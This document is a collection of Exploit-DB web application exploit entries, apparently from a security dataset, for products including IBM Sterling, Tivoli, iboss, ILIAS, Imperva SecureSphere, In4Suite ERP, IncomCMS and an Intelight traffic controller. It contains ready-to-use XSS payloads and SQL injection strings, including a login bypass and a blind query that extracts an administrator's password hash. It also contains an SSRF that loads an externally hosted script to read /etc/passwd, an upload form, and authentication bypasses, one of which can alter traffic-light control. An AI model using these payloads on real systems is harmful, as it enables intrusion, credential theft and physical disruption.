deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45190
Description: IBM Sterling B2B Integrator 5.2.0.1/5.2.6.3 - Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2018-08-13
Author: Vikas Khanna

Exploit:
# Exploit Title: [IBM Sterling B2B Integrator persistent cross-site scripting]
# Exploit Author: [Vikas Khanna] (https://www.linkedin.com/in/leetvikaskhanna/) (https://twitter.com/MR_SHANU_KHANNA)
# Vendor Homepage: [https://www.ibm.com/support/knowledgecenter/en/SS3JSW_5.2.0/com.ibm.help.overview.doc/si_overview.html]
# Version: [IBM Sterling B2B Integrator 5.2.0.1 - 5.2.6.3] (REQUIRED)
# CVE : [CVE-2018-1513 & CVE-2018-1563]


Vulnerability Details
Vulnerability Name : Persistent Cross Site Scripting 
Affected Parameter(s) : fname & lname

Steps to reproduce
Step 1 : Login to the IBM Sterling B2B Integrator.

Step 2 : Navigate to Performance Tuning module, Username will be displayed as below :- 
				Last Edited By <USERNAME>
	Note :- Modify the configuration for example and check the Last Edited By - Username. Any user (Admin or Non admin) who have privileges to change the configuration can act like an attacker. 

Step 3 : Navigate to My Account and update first name and last name.

Step 4: Intercept the request using burp suite and insert the <Video><source onerror=”alert(1)”> payload & <Video><source onerror=”alert(2)”> payload in fname and lname parameter.

Step 5 : It has been observed that My account module is not vulnerable to XSS but Performance Tuning tab under Operations -> Performance is vulnerable, as the Performance Tuning tab displays the user’s first name and last name separately as “Last Edited By USERNAME”.

Step 6 : Now navigate to Performance Tuning module. It is seen that the application is vulnerable to Persistent Cross Site Scripting.

Note : It has been observed that any user who has access to Performance Tuning tab will be vulnerable and the same javascript payload will execute for them as well.
Exploit-DB #34908
Description: IBM Tivoli Access Manager for E-Business - '/ibm/wpm/acl?method' Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2010-10-22
Author: IBM

Exploit:
source: https://www.securityfocus.com/bid/44382/info
 
IBM Tivoli Access Manager for e-business is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
IBM Tivoli Access Manager for e-business 6.1.0 is vulnerable. 

http://www.example.com/ibm/wpm/acl?method=props%3Cscript%3Ealert%28%22xss%22%29%3C/script%3E
Exploit-DB #34909
Description: IBM Tivoli Access Manager for E-Business - '/ibm/wpm/domain?method' Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2010-10-22
Author: IBM

Exploit:
source: https://www.securityfocus.com/bid/44382/info
  
IBM Tivoli Access Manager for e-business is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
  
IBM Tivoli Access Manager for e-business 6.1.0 is vulnerable

http://www.example.com/ibm/wpm/domain?method=props%3Cscript%3Ealert%28%22xss%22%29%3C/script%3E
Exploit-DB #34910
Description: IBM Tivoli Access Manager for E-Business - '/ibm/wpm/group?method' Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2010-10-22
Author: IBM

Exploit:
source: https://www.securityfocus.com/bid/44382/info
   
IBM Tivoli Access Manager for e-business is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
   
IBM Tivoli Access Manager for e-business 6.1.0 is vulnerable

http://www.example.com/ibm/wpm/group?method=props%3Cscript%3Ealert%28%22xss%22%29%3C/script%3E
Exploit-DB #34911
Description: IBM Tivoli Access Manager for E-Business - '/ibm/wpm/gso?method' Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2010-10-22
Author: IBM

Exploit:
source: https://www.securityfocus.com/bid/44382/info
    
IBM Tivoli Access Manager for e-business is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
    
IBM Tivoli Access Manager for e-business 6.1.0 is vulnerable

http://www.example.com/ibm/wpm/gso?method=props%3Cscript%3Ealert%28%22xss%22%29%3C/script%3E
Exploit-DB #34912
Description: IBM Tivoli Access Manager for E-Business - '/ibm/wpm/gsogroup?method' Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2010-10-22
Author: IBM

Exploit:
source: https://www.securityfocus.com/bid/44382/info
     
IBM Tivoli Access Manager for e-business is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
     
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
     
IBM Tivoli Access Manager for e-business 6.1.0 is vulnerable

http://www.example.com/ibm/wpm/gsogroup?method=props%3Cscript%3Ealert%28%22xss%22%29%3C/script%3E
Exploit-DB #34913
Description: IBM Tivoli Access Manager for E-Business - '/ibm/wpm/os?method' Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2010-10-22
Author: IBM

Exploit:
source: https://www.securityfocus.com/bid/44382/info
      
IBM Tivoli Access Manager for e-business is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
      
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
      
IBM Tivoli Access Manager for e-business 6.1.0 is vulnerable

http://www.example.com/ibm/wpm/os?method=props%3Cscript%3Ealert%28%22xss%22%29%3C/script%3E
Exploit-DB #34914
Description: IBM Tivoli Access Manager for E-Business - '/ibm/wpm/pop?method' Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2010-10-22
Author: IBM

Exploit:
source: https://www.securityfocus.com/bid/44382/info
       
IBM Tivoli Access Manager for e-business is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
       
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
       
IBM Tivoli Access Manager for e-business 6.1.0 is vulnerable

http://www.example.com/ibm/wpm/pop?method=props%3Cscript%3Ealert%28%22xss%22%29%3C/script%3E
Exploit-DB #34915
Description: IBM Tivoli Access Manager for E-Business - '/ibm/wpm/rule?method' Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2010-10-22
Author: IBM

Exploit:
source: https://www.securityfocus.com/bid/44382/info
        
IBM Tivoli Access Manager for e-business is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
        
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
        
IBM Tivoli Access Manager for e-business 6.1.0 is vulnerable

http://www.example.com/ibm/wpm/rule?method=props%3Cscript%3Ealert%28%22xss%22%29%3C/script%3E
Exploit-DB #34916
Description: IBM Tivoli Access Manager for E-Business - '/ibm/wpm/user?method' Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2010-10-22
Author: IBM

Exploit:
source: https://www.securityfocus.com/bid/44382/info
         
IBM Tivoli Access Manager for e-business is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
         
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
         
IBM Tivoli Access Manager for e-business 6.1.0 is vulnerable

http://www.example.com/ibm/wpm/user?method=props%3Cscript%3Ealert%28%22xss%22%29%3C/script%3E
Exploit-DB #34917
Description: IBM Tivoli Access Manager for E-Business - '/ibm/wpm/webseal?method' Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2010-10-22
Author: IBM

Exploit:
source: https://www.securityfocus.com/bid/44382/info
          
IBM Tivoli Access Manager for e-business is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
          
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
          
IBM Tivoli Access Manager for e-business 6.1.0 is vulnerable

http://www.example.com/ibm/wpm/webseal?method=props%3Cscript%3Ealert%28%22xss%22%29%3C/script%3E
Exploit-DB #34907
Description: IBM Tivoli Access Manager for E-Business - '/ivt/ivtserver?parm1' Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2010-10-22
Author: IBM

Exploit:
source: https://www.securityfocus.com/bid/44382/info

IBM Tivoli Access Manager for e-business is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

IBM Tivoli Access Manager for e-business 6.1.0 is vulnerable. 

http://www.example.com/ivt/ivtserver?parm1=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E
Exploit-DB #32908
Description: IBM Tivoli Continuous Data Protection for Files 3.1.4.0 - Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2009-04-14
Author: Abdul-Aziz Hariri

Exploit:
source: https://www.securityfocus.com/bid/34513/info

IBM Tivoli Continuous Data Protection for Files is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials.

IBM Tivoli Continuous Data Protection for Files 3.1.4.0 is vulnerable; other versions may also be affected.

http://www.example.com/login/FilepathLogin.html?reason=<script>alert(0)</script>
Exploit-DB #32576
Description: IBM Tivoli Netcool Service Quality Manager - Cross-Site Scripting / HTML Injection
Type: webapps
Platform: multiple
Date: 2008-11-10
Author: Francesco Bianchino

Exploit:
source: https://www.securityfocus.com/bid/32233/info

IBM Tivoli Netcool Service Quality Manager is prone to multiple cross-site scripting and an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

We don't know which versions of IBM Tivoli Netcool Service Quality Manager are affected. We will update this BID when more details emerge.

NOTE: IBM Tivoli Netcool Service Quality Manager may also have been known as 'Vallent Metrica Service Assurance'. 

http://www.example.com/<document root>/ReportTree?action=generatedreportresults&elementid="><SCRIPT>alert("Non persistant XSS");</SCRIPT><!--&date=[PII_REDACTED]000 http://www.example.com/<document root>/Launch?jnlpname=="><SCRIPT>alert("Non Persistant XSS");</SCRIPT> http://www.example.com/<document_root>/ReportRequest?dateformat=dd%2FMM%2Fyyyy&reporttitle=some_title&reportID=some_stuff&version=0&treesrc=&treetitle=&p_wstring=&p_dataperiod =none%3A%23%3Araw&startdate=01%2F01%2F2008&reporttype=offline&%3Atasklabel=<SCRIPT>alert(Persistant XSS!);</SCRIPT>&none_agg_specified=false&windowtype=main
Exploit-DB #52009
Description: iboss Secure Web Gateway - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: multiple
Date: 2024-05-08
Author: modrnProph3t

Exploit:
# Exploit Title: iboss Secure Web Gateway - Stored Cross-Site Scripting (XSS)
# Date: 4/4/2024
# Exploit Author: modrnProph3t
# Vendor Homepage: https://www.iboss.com
# Version: < 10.2.0
# CVE-2024-3378
# Reference: https://github.com/modrnProph3t/CVE/blob/main/CVE-2024-3378.md


## Description
A stored Cross Site Scripting (XSS) vulnerability was found in the iboss Secure Web Gateway product. The vulnerability is exploited by submitting a login attempt, intercepting the request, and adding a payload to the ÒredirectUrlÓ parameter before sending it to the server. After submitting the request, visiting the initial login page will cause the website to load, including the previously submitted payload.

This is an unauthenticated attack (credentials do not need to be valid) and the payload is stored on the server and included in every response to a GET request for the login page until a new POST request is made to the server without a payload included.

## Proof of Conept
1. Access the login portal located at /login


2. Submit login attempt and intercept the request

Example of unaltered request:
```
POST /user_login_submit HTTP/1.1
Host: <domain>
<--Headers Removed-->
  
userName=TEST&x=TEST&action=login&redirectUrl=
```


3. Insert XSS payload into the "redirectUrl" parameter
	
Example of request with inserted payload:
```
POST /user_login_submit HTTP/1.1
Host: <domain>
<--Headers Removed-->
		
userName=TEST&x=TEST&action=login&redirectUrl="><script>alert('XSS')</script>
```


4. After failed login attempt, return to the initial login page at the /login endpoint and observe payload execution
Exploit-DB #49148
Description: ILIAS Learning Management System 4.3 - SSRF
Type: webapps
Platform: multiple
Date: 2020-12-02
Author: Dot

Exploit:
# Exploit Title: ILIAS Learning Management System 4.3 - SSRF 
# Date: 10-08-2020
# Exploit Author: Dot/kx1z0
# Vendor Homepage: https://www.ilias.de/
# Software Link: https://github.com/ILIAS-eLearning/ILIAS/tree/release_4-3
# Version: 4.3-5.1
# Tested on: Linux
# Description
We can create portfolios, export them to PDF and download them.
The issue is that there is an HTML Injection, and if we inject HTML
into the portfolio, when it is exported to PDF, it will be rendered.
So we can take advantage that it is running under the wrapper file://
to inject an XMLHttpRequest requesting the local file we want, that
when downloading the PDF, we can see the content of that file

# Exploit
We cannot inject the XMLHttpRequest directly into the content of the
portfolio, as there is something blocking it. So we will have to host
a script in our own server and invoke it from the portfolio

We insert this in the portfolio:
<script src=host.com/test.js> </script>

Script in our server:
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();

So, finally, we will only have to download the PDF and there, will be
the content of the file we have requested.
Exploit-DB #10630
Description: ImageVue 2.0 - Remote Admin Login
Type: webapps
Platform: multiple
Date: 2009-12-24
Author: Sora

Exploit:
# Author: Sora
# Software Link: http://www.imagevuex.com/
# Version: 2.0
# Tested on: Windows and Linux
---------------------------------
/*
ImageVue 2.0 Remote Admin Login Exploit
Created by Sora
Contact: vhr95zw [at] hotmail.com
*/

[+] Google Dork: "inurl:/admin/" "ImageVue"

[+] Description:
ImageVue 2.0 suffers a remote admin login exploit.

# Code: You can simply enter admin as the password and it will log you in as a global administrator.

# Greetz: Bw0mp, Popc0rn, Xermes, T3eS, Timeb0mb, [H]aruhiSuzumiya, Max Mafiotu, and Revelation!

[ EOF ]
Exploit-DB #28854
Description: Imperva SecureSphere Web Application Firewall MX 9.5.6 - Blind SQL Injection
Type: webapps
Platform: multiple
Date: 2013-10-10
Author: Giuseppe D'Amore

Exploit:
Blind SQL Injection to Imperva SecureSphere Web Application Firewall MX
=======================================================================

[ADVISORY INFORMATION]
Title:    		Blind SQL Injection on Imperva SecureSphere Web Application Firewall MX
Discovery date: 	09/04/2013
Release date:   	09/10/2013
Vendor Homepage: 	www.imperva.com
Version:		Imperva SecureSphere  WAF MX 9.5.6
Credits:        	Giuseppe D'Amore (g-damore@outlook.com), Mattia Folador (mattia.folador@gmail.com)
 
[VULNERABILITY INFORMATION]
Class:           	Blind SQL Injection

AFFECTED PRODUCTS]
This security vulnerability affects:

	* Imperva SecureSphere WAF Management Web Console (MX), version 9.5.6

[VULNERABILITY DETAILS]
The management console of Imperva WAF allows an authenticated user having the only privilege to view lookup dataset, to perform a privilege escalation, and extract through a blind sql injection, the MD5 hash of Administrator's account on the console.

If you inject this query:

stringindatasetchoosen%%' and 1 = any (select 1 from SECURE.CONF_SECURE_MEMBERS where FULL_NAME like '%%dministrator' and rownum<=1 and PASSWORD like '0%') and '1%%'='1

into the search box under the Main Menu->Setup->Global Object->Scope Selection (Data Lookup)->Lookup Data Set, it is possible (depending on whether the query returns true or false) to extract the MD5 hash of the password of the Administrator's account on the console so:

If the query return true then I see the searched string (stringindatasetchoosen), this means that the Administrator MD5 hashed password start with 0 character, by doing this, I can enumerate entire MD5, by injecting query like:

and PASSWORD like '0% -> to find the first character, once you find the first character, I inject:
and PASSWORD like '0a% -> to find second character 
and so on until you discover all 32 characters of hash.

[REMEDIATION]
This issue has been addressed by Imperva in the following patch release:

	* Patch 8.0 (August 30, 2013)
 
[DISCLOSURE TIME-LINE]
    * 09/04/2012 - Initial vendor contact.
 
    * 11/07/2013 - Imperva confirmed the issue is a new security vulnerability.
 
    * 30/08/2013 - Imperva released a new patch that address the vulnerability.
 
    * 09/10/2013 - Public disclosure.
 
[DISCLAIMER]
The author is not responsible for the misuse of the information provided in
this security advisory. The advisory is a service to the professional security
community. There are NO WARRANTIES with regard to this information. Any
application or distribution of this information constitutes acceptance AS IS,
at the user's own risk. This information is subject to change without notice.
Exploit-DB #49884
Description: In4Suit ERP 3.2.74.1370 - 'txtLoginId' SQL injection
Type: webapps
Platform: multiple
Date: 2021-05-19
Author: Gulab Mondal

Exploit:
# Exploit Title: In4Suit ERP 3.2.74.1370 - 'txtLoginId' SQL injection
# Date: 18/05/2021
# Exploit Author: Gulab Mondal
# Vendor Homepage: https://www.in4velocity.com/in4suite-erp.html
# Version: In4Suite ERP 3.2.74.1370
# Tested on: Windows
# CVE: CVE-2021-27828

-----------------------------------------

SQL injection in In4Suite ERP 3.2.74.1370 allows remote attackers to
modify or delete data, causing persistent changes to the application's
content or behavior by using malicious SQL queries.

--------------


# Error condition
POST /CheckLogin.asp HTTP/1.1
Host: 127.0.0.1

txtLoginId=admin&txt[CREDENTIAL_REDACTED]=Login&hdnPwdEncrypt=" "

# SQL Injection exploitation
POST /CheckLogin.asp HTTP/1.1
Host: 127.0.0.1

txtLoginId=admin OR '1=1&txt[CREDENTIAL_REDACTED]=Login&hdnPwdEncrypt="

------------------------------
Exploit-DB #49351
Description: IncomCMS 2.0 - Insecure File Upload
Type: webapps
Platform: multiple
Date: 2021-01-05
Author: MoeAlBarbari

Exploit:
# Exploit Title:  IncomCMS 2.0 - Insecure File Upload
# Google Dork: intext:"Incom CMS 2.0"
# Date: 07.12.2020
# Exploit Author: MoeAlBarbari
# Vendor Homepage:  https://www.incomcms.com/
# Version: 2.0
# Tested on: BackBox linux
# CVE: CVE-2020-29597

<!DOCTYPE html>
<html>
<head>
  <title>Upload your files</title>
</head>
<body>
  <form enctype="multipart/form-data" action="http://www.example.com/incom/modules/uploader/showcase/script.php" method="POST">
    <p>Upload your file</p>
    <input type="file" name="Filedata"></input><br />
    <input type="submit" value="Upload"></input>
  </form>
</body>
</html>
Exploit-DB #52151
Description: Intelight X-1L Traffic controller Maxtime 1.9.6 - Remote Code Execution (RCE)
Type: webapps
Platform: multiple
Date: 2025-04-09
Author: Andrew Lemon/Red Threat

Exploit:
# Exploit Title: Intelight X-1L Traffic controller Maxtime 1.9.6 - Remote Code Execution (RCE)
# Google Dork: N/A
# Date: 07/09/2024
# Exploit Author: Andrew Lemon/Red Threat https://redthreatsec.com
# Vendor Homepage: https://www.q-free.com
# Software Link: N/A
# Version: 1.9
# Tested on:  (Intelight x-1) Linux 3.14.57 
# CVE : CVE-2024-38944

## Vulnerability Description
This vulnerability allows remote attackers to bypass authentication on affected installations of MaxTime Database Editor. 
Authentication is not required to exploit this vulnerability.

The specific flaw exists within the web-based UI on Traffic Controllers running version 1.9.x firmware. 
The issue results from the lack of authentication prior to allowing access to functionality. 
An attacker can leverage this vulnerability to gain full control of Intelight Traffic Controllers and modify the configuration of a traffic intersection,
modify traffic light sequences, or trigger the intersection to go into 4 way flash causing a denial of service and causing traffic congestion.

## Steps to Reproduce

Navigate to the IP address of an identified controller
When prompted for authentication append /cgi-bin/generateForm.cgi?formID=142 to the end of the IP address
Under the web security tab change the drop down from enabled to disabled and select apply or take note of the username and password and login with those.